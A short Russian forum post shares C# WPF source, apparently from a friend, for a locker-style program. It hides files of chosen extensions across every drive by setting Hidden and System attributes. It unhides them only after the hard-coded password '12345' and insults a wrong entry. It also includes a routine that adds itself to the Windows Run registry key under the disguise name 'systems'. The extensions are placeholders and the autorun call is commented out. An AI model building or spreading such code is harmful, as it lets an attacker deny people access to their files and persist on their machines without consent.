# Koenig (15.11.2016 / 23:38)Мне друг уже скинул код
TubeKinder, Женьку зови)
* (+/-)
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
//using System.Windows.Shapes;
namespace WpfBerlIgor//?????????????????????????????????????
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
/// SetAutorunValue(true, MyName);
HideFiles(false);
// string paths ;
//foreach ( string s in path)
// MessageBox.Show(paths);
// HideFiles();
InitializeComponent();
}
private string MyName = Assembly.GetExecutingAssembly().Location;
private void HideFiles(bool GetHideOrUnhide)
{
HideOrUnhide = GetHideOrUnhide;
foreach (string Drive in Drives)
{
string[] AFFormat = { "*.testSh", "*.BMPddd" };//форматы ?????????????????????????????????????????????
foreach (string F in AFFormat)
{
try
{
string[] AFiles = Directory.GetDirectories(Drive);//лучаем масив файлов в нужной папке
foreach (string file in AFiles)//перебераем
{
DirGetFiles(file, F, SearchOption.AllDirectories);
}
}
catch { }
DirGetFiles(Drive, F);//лучаем масив файлов в нужной папке
}
}
// MessageBox.Show("");
}
private bool HideOrUnhide = true;
private static string[] GetFolderSys(object[] P)
{
List<string> ret = new List<string>();
foreach (var p2 in P)
ret.Add(Environment.GetFolderPath((Environment.SpecialFolder)p2));
return ret.ToArray();
}
private string[] DirNoHide = GetFolderSys(new object[] {
Environment.SpecialFolder.Windows,
Environment.SpecialFolder.ProgramFiles,
Environment.SpecialFolder.ProgramFilesX86,
Environment.SpecialFolder.ApplicationData
});
private void DirGetFiles(string Lpath, string Parametr, SearchOption searchOption = SearchOption.TopDirectoryOnly)
{
foreach (var PathNoHiden in DirNoHide)
{
if (Lpath.Contains(PathNoHiden))
{
// MessageBox.Show(PathNoHiden);
return;
}
}
// Environment.Exit(0);
try
{
string[] AFiles = Directory.GetFiles(Lpath, Parametr, searchOption);//лучаем масив файлов в нужной папке
foreachHide(AFiles);
}
catch { }
}
private void foreachHide(string[] AFiles)
{
foreach (string file in AFiles)//перебераем
{
// MessageBox.Show(file);
try
{
if (HideOrUnhide)
File.SetAttributes(file, FileAttributes.Normal);//установлюем атрибуты
else
File.SetAttributes(file, FileAttributes.Hidden | FileAttributes.System);//установлюем атрибуты
}
catch { }
}
}
private string[] Drives = Directory.GetLogicalDrives();
private void pass(bool delattr)
{
if (delattr)
{
Task.Run(() =>
{
HideFiles(true);
});
}
else
{
MessageBox.Show("fuck you!");
}
password.Password = "";
}
void button1_Click(object sender, RoutedEventArgs e)
{
pass(password.Password == "12345");
}
public bool SetAutorunValue(bool autorun, string npath)
{
const string name = "systems";
string ExePath = npath;
RegistryKey reg;
reg = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\");
try
{
if (autorun)
reg.SetValue(name, ExePath);
else
reg.DeleteValue(name);
reg.Flush();
reg.Close();
}
catch
{
return false;
}
return true;
}
}
}